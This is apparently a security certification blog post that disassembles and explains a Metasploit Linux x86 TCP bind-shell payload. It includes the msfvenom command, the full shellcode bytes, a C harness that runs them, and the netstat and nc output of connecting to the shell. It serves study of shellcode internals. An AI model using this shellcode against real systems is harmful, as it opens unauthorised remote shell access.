Jakub Heba, Security Researcher @ AFINE

Research and Security of Web Applications, Assembly, Reverse Engineering. All kind of security related stuff.

View my GitHub

Shellcode No.1 - TCP Bind Shell

At first glance, we'll take payload linux/x86/shell_bind_tcp, very similar to the shellcode we wrote in the first SLAE exam task.


We generate shellcode using the msfvenom script, belonging to the Metasploit-framework, giving as arguments the payload we choose, LPORT, i.e. the port on which our bind_shell is to listen, as well as the language in which our shellcode will be used, in this case - C.

$ msfvenom -p linux/x86/shell_bind_tcp LPORT=1234 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Next, we place the generated shellcode in the so-called C language wrapper, which will allow us to easily test its effectiveness. We create a shellcode.c file with the following content:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";


main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Then, we compile the program using GCC software, along with the appropriate parameters.

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We run the program.

$ ./shellcode 
Shellcode Length:  20

What we see in the answer is the length of the shellcode, which seems incorrect at first glance. This is because the shellcode generated by msfvenom does not by default prohibit the use of so-called null-byte ("\ x00"), which in our case is a terminator of a string, which we can confirm by searching for the string "00" (the first line containing 15 characters will be omitted, please add the characters of the next line, 15 + 5 = 20 characters)

$ cat shellcode.c | grep 00
"\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a"

Then, opening another terminal and executing the netstat -antp command, we notice that shellcode actually works and we can connect to the port of our choice, obtaining a shell.

$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      24304/shellcode 
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        1      0 172.16.237.201:32845    91.189.92.92:80         CLOSE_WAIT  2552/ubuntu-geoip-p
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               

$ nc localhost 1234
whoami
slae

For our analyzes, we will use ndisasm software. To do this, call our shellcode with the echo command and then use the pipe character to pass the output to the ndisasm software.

$ echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" | ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx 
00000005  43                inc ebx
00000006  53                push ebx 
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66 
0000000D  CD80              int 0x80
0000000F  5B                pop ebx 
00000010  5E                pop esi
00000011  52                push edx 
00000012  68020004D2        push dword 0xd2040002
00000017  6A10              push byte +0x10 
00000019  51                push ecx 
0000001A  50                push eax 
0000001B  89E1              mov ecx,esp 
0000001D  6A66              push byte +0x66 
0000001F  58                pop eax 
00000020  CD80              int 0x80 
00000022  894104            mov [ecx+0x4],eax 
00000025  B304              mov bl,0x4 	
00000027  B066              mov al,0x66 	
00000029  CD80              int 0x80 	
0000002B  43                inc ebx 
0000002C  B066              mov al,0x66 
0000002E  CD80              int 0x80 	
00000030  93                xchg eax,ebx 		
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

The analysis of this shellcode will be divided into six parts, corresponding to the system calls called.

socket()

00000000  31DB             xor ebx,ebx					
00000002  F7E3             mul ebx 				
00000004  53               push ebx 					
00000005  43               inc ebx 				
00000006  53               push ebx 				
00000007  6A02             push byte +0x2 			
00000009  89E1             mov ecx,esp 				
0000000B  B066             mov al,0x66 				
0000000D  CD80             int 0x80				

At the beginning a socket is prepared, which will serve as the interface on which the bind shell will listen for the connection. For this purpose, socket() syscall is used, called from socketcall()) syscall, taking the following arguments as components:

An interesting fact is that in the case of the whole shellcode, socket(), bind(), listen(), accept() and dup2() syscalls are called from the same, repeated socketcall() syscall.

Then, in the reverse order, the values of the above arguments are thrown onto the stack. In order:

bind()

0000000F  5B                pop ebx 		
00000010  5E                pop esi
00000011  52                push edx 					
00000012  68020004D2        push dword 0xd2040002		
00000017  6A10              push byte +0x10 			
00000019  51                push ecx 				
0000001A  50                push eax 				
0000001B  89E1              mov ecx,esp 		
0000001D  6A66              push byte +0x66 			
0000001F  58                pop eax 				
00000020  CD80              int 0x80 					

Then, bind() syscall will be called with the same method.

listen()

00000022  894104            mov [ecx+0x4],eax 			
00000025  B304              mov bl,0x4 					
00000027  B066              mov al,0x66 				
00000029  CD80              int 0x80 					

The next system call called is listen().

accept()

0000002B  43                inc ebx 					
0000002C  B066              mov al,0x66 				
0000002E  CD80              int 0x80 					

The next system call called is accept(). Actions like before:

dup2()

00000030  93                xchg eax,ebx 				
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32

Then three dup2() syscalls will be called. For this shellcode, a loop that is executed three times (STDIN = 0, STDOUT = 1, STDERR = 2) will be used for this.

execve()

0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

The last syscall will be execve(), which will run /bin/sh after connecting to the listening port

That's all! The port is opened, and after connecting to it we get the /bin/sh shell.

Pwned.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1524